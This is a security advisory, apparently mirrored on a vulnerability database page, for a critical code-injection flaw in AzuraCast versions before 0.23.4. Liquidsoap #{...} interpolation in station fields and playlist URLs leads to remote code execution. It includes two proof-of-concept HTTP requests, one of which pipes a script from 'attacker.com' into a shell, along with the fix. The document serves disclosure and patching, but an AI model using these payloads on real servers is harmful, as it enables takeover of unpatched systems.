AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs
Summary
AzuraCast's ConfigWriter::cleanUpString() method fails to sanitize Liquidsoap string interpolation sequences (#{...}), allowing authenticated users with StationPermissions::Media or StationPermissions::Profile permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, #{...} expressions are evaluated, enabling arbitrary command execution via Liquidsoap's process.run() function.
Root Cause
File: backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php, line ~1345
public static function cleanUpString(?string $string): string
{
return str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');
}
This function only replaces " with ' and strips newlines. It does NOT filter:
#{...}— Liquidsoap string interpolation (evaluated as code inside double-quoted strings)\— Backslash escape character
Liquidsoap, like Ruby, evaluates #{expression} inside double-quoted strings. process.run() in Liquidsoap executes shell commands.
Injection Points
All user-controllable fields that pass through cleanUpString() and are embedded in double-quoted strings in the .liq config:
| Field | Permission Required | Config Line |
|---|---|---|
playlist.remote_url |
Media |
input.http("...") or playlist("...") |
station.name |
Profile |
name = "..." |
station.description |
Profile |
description = "..." |
station.genre |
Profile |
genre = "..." |
station.url |
Profile |
url = "..." |
backend_config.live_broadcast_text |
Profile |
settings.azuracast.live_broadcast_text := "..." |
backend_config.dj_mount_point |
Profile |
input.harbor("...") |
PoC 1: Via Remote Playlist URL (Media permission)
POST /api/station/1/playlists HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>
{
"name": "Malicious Remote",
"source": "remote_url",
"remote_url": "http://x#{process.run('id > /tmp/pwned')}.example.com/stream",
"remote_type": "stream",
"is_enabled": true
}
The generated liquidsoap.liq will contain:
mksafe(buffer(buffer=5., input.http("http://x#{process.run('id > /tmp/pwned')}.example.com/stream")))
When Liquidsoap parses this, process.run('id > /tmp/pwned') executes as the azuracast user.
PoC 2: Via Station Description (Profile permission)
PUT /api/station/1/profile/edit HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_PROFILE_PERMISSION>
{
"name": "My Station",
"description": "#{process.run('curl http://attacker.com/shell.sh | sh')}"
}
Generates:
description = "#{process.run('curl http://attacker.com/shell.sh | sh')}"
Trigger Condition
The injection fires when the station is restarted, which happens during:
- Normal station restart by any user with
Broadcastingpermission - System updates and maintenance
azuracast:radio:restartCLI command- Docker container restarts
Impact
- Severity: Critical
- Authentication: Required — any station-level user with
MediaorProfilepermission - Impact: Full RCE on the AzuraCast server as the
azuracastuser - CWE: CWE-94 (Code Injection)
Recommended Fix
Update cleanUpString() to escape # and \:
public static function cleanUpString(?string $string): string
{
return str_replace(
['"', "\n", "\r", '\\', '#'],
['\'', '', '', '\\\\', '\\#'],
$string ?? ''
);
}
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | azuracast/azuracast | < 0.23.4 | 0.23.4 |
References
- https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-93fx-5qgc-wr38
- https://github.com/AzuraCast/AzuraCast/commit/d04b5c55ce0d867bcb87f49f7082bf8edbcd360c
- https://github.com/AzuraCast/AzuraCast/commit/ff49ef4d0fa571a3661abff6d0a9546ba3ed5df5
- https://github.com/AzuraCast/AzuraCast
- https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.4
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N- Weakness (CWE)
CWE-94- Platform
- Composer
- Package
azuracast/azuracast- Disclosed
- 09.03.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-93fx-5qgc-wr38 - CC BY 4.0
Vulnerability history: azuracast/azuracast
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 9
- First → latest
- 04.2023 05.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 4
- Medium 2
- Low 2
Disclosures per year
- 2023: 2
- 2024: 0
- 2025: 1
- 2026: 6
-
AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.